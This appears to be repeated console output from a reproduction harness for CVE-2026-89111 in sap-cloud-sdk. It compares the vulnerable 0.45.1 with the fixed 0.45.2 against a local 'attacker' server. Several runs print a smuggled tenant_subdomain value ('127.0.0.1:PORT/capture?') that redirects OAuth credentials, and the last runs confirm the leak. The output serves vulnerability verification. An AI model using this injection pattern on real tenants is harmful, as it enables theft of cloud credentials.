=== CVE-2026-89111 reproduction ===
ROOT=/workspace/bundle
--- downloading pinned wheels (immutable build identity) ---
ERROR: Cannot install sap-cloud-sdk==0.45.1 and sap-cloud-sdk==0.45.2 because these package versions have conflicting dependencies.
ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts
FAIL: pip download of sap-cloud-sdk wheels failed
/workspace/bundle/repro/reproduction_steps.sh: line 42: /workspace/bundle/repro/venv/bin/python: No such file or directory
=== CVE-2026-89111 reproduction ===
ROOT=/workspace/bundle
--- downloading pinned wheels (immutable build identity) ---
vuln wheel sha256: 01c096915454bc85beeddd125c5f0d12e3f3ffa6dbbcffe68e3428244c6987a4
fixed wheel sha256: 996feea933e6145c3eb6b08d9036a72fa919d9af02d30eb0aa8070b9e6ba7970
--- creating venv ---
--- installing sap-cloud-sdk==0.45.1 (vulnerable) ---
installed: 0.45.1
--- attacker port: 41487 ---
--- attacker server healthy ---
--- VULNERABLE attempt: sap-cloud-sdk==0.45.1 ---
{"sdk_version": "0.45.1", "status": "error", "error": "InsecureTransportError: (insecure_transport) OAuth 2 MUST utilize https."}
vulnerable attempt leaked credentials to attacker server: false
--- installing sap-cloud-sdk==0.45.2 (fixed) ---
installed: 0.45.2
--- FIXED attempt: sap-cloud-sdk==0.45.2 ---
{"sdk_version": "0.45.2", "status": "rejected", "error": "Invalid tenant_subdomain: '127.0.0.1:41487/capture?'"}
fixed attempt rejected malicious tenant_subdomain with no outbound request: true
=== SUMMARY ===
vulnerable credential exfiltration: false
fixed validation rejects + no request: true
runtime_manifest.json written
RESULT: NOT REPRODUCED
=== CVE-2026-89111 reproduction ===
ROOT=/workspace/bundle
--- downloading pinned wheels (immutable build identity) ---
vuln wheel sha256: 01c096915454bc85beeddd125c5f0d12e3f3ffa6dbbcffe68e3428244c6987a4
fixed wheel sha256: 996feea933e6145c3eb6b08d9036a72fa919d9af02d30eb0aa8070b9e6ba7970
--- installing sap-cloud-sdk==0.45.1 (vulnerable) ---
installed: 0.45.1
--- attacker port: 47537 ---
--- attacker server healthy ---
--- VULNERABLE attempt: sap-cloud-sdk==0.45.1 ---
{"sdk_version": "0.45.1", "status": "error", "error": "InsecureTransportError: (insecure_transport) OAuth 2 MUST utilize https."}
vulnerable attempt leaked credentials to attacker server: false
--- installing sap-cloud-sdk==0.45.2 (fixed) ---
installed: 0.45.2
--- FIXED attempt: sap-cloud-sdk==0.45.2 ---
{"sdk_version": "0.45.2", "status": "rejected", "error": "Invalid tenant_subdomain: '127.0.0.1:47537/capture?'"}
fixed attempt rejected malicious tenant_subdomain with no outbound request: true
=== SUMMARY ===
vulnerable credential exfiltration: false
fixed validation rejects + no request: true
runtime_manifest.json written
RESULT: NOT REPRODUCED
=== CVE-2026-89111 reproduction ===
ROOT=/workspace/bundle
--- downloading pinned wheels (immutable build identity) ---
vuln wheel sha256: 01c096915454bc85beeddd125c5f0d12e3f3ffa6dbbcffe68e3428244c6987a4
fixed wheel sha256: 996feea933e6145c3eb6b08d9036a72fa919d9af02d30eb0aa8070b9e6ba7970
--- installing sap-cloud-sdk==0.45.1 (vulnerable) ---
installed: 0.45.1
--- attacker port: 38757 ---
--- attacker server healthy ---
--- VULNERABLE attempt: sap-cloud-sdk==0.45.1 ---
{"sdk_version": "0.45.1", "status": "token_returned", "token": "ATTACKER_ISSUED_TOKEN"}
vulnerable attempt leaked credentials to attacker server: false
--- installing sap-cloud-sdk==0.45.2 (fixed) ---
installed: 0.45.2
--- FIXED attempt: sap-cloud-sdk==0.45.2 ---
{"sdk_version": "0.45.2", "status": "rejected", "error": "Invalid tenant_subdomain: '127.0.0.1:38757/capture?'"}
fixed attempt rejected malicious tenant_subdomain with no outbound request: true
=== SUMMARY ===
vulnerable credential exfiltration: false
fixed validation rejects + no request: true
runtime_manifest.json written
RESULT: NOT REPRODUCED
=== CVE-2026-89111 reproduction ===
ROOT=/workspace/bundle
--- downloading pinned wheels (immutable build identity) ---
vuln wheel sha256: 01c096915454bc85beeddd125c5f0d12e3f3ffa6dbbcffe68e3428244c6987a4
fixed wheel sha256: 996feea933e6145c3eb6b08d9036a72fa919d9af02d30eb0aa8070b9e6ba7970
--- installing sap-cloud-sdk==0.45.1 (vulnerable) ---
installed: 0.45.1
--- attacker port: 48161 ---
--- attacker server healthy ---
--- VULNERABLE attempt: sap-cloud-sdk==0.45.1 ---
{"sdk_version": "0.45.1", "status": "token_returned", "token": "ATTACKER_ISSUED_TOKEN"}
vulnerable attempt leaked credentials to attacker server: true
--- installing sap-cloud-sdk==0.45.2 (fixed) ---
installed: 0.45.2
--- FIXED attempt: sap-cloud-sdk==0.45.2 ---
{"sdk_version": "0.45.2", "status": "rejected", "error": "Invalid tenant_subdomain: '127.0.0.1:48161/capture?'"}
fixed attempt rejected malicious tenant_subdomain with no outbound request: true
=== SUMMARY ===
vulnerable credential exfiltration: true
fixed validation rejects + no request: true
runtime_manifest.json written
RESULT: CONFIRMED (CVE-2026-89111)
=== CVE-2026-89111 reproduction ===
ROOT=/workspace/bundle
--- downloading pinned wheels (immutable build identity) ---
vuln wheel sha256: 01c096915454bc85beeddd125c5f0d12e3f3ffa6dbbcffe68e3428244c6987a4
fixed wheel sha256: 996feea933e6145c3eb6b08d9036a72fa919d9af02d30eb0aa8070b9e6ba7970
--- installing sap-cloud-sdk==0.45.1 (vulnerable) ---
installed: 0.45.1
--- attacker port: 60677 ---
--- attacker server healthy ---
--- VULNERABLE attempt: sap-cloud-sdk==0.45.1 ---
{"sdk_version": "0.45.1", "status": "token_returned", "token": "ATTACKER_ISSUED_TOKEN"}
vulnerable attempt leaked credentials to attacker server: true
--- installing sap-cloud-sdk==0.45.2 (fixed) ---
installed: 0.45.2
--- FIXED attempt: sap-cloud-sdk==0.45.2 ---
{"sdk_version": "0.45.2", "status": "rejected", "error": "Invalid tenant_subdomain: '127.0.0.1:60677/capture?'"}
fixed attempt rejected malicious tenant_subdomain with no outbound request: true
=== SUMMARY ===
vulnerable credential exfiltration: true
fixed validation rejects + no request: true
runtime_manifest.json written
RESULT: CONFIRMED (CVE-2026-89111)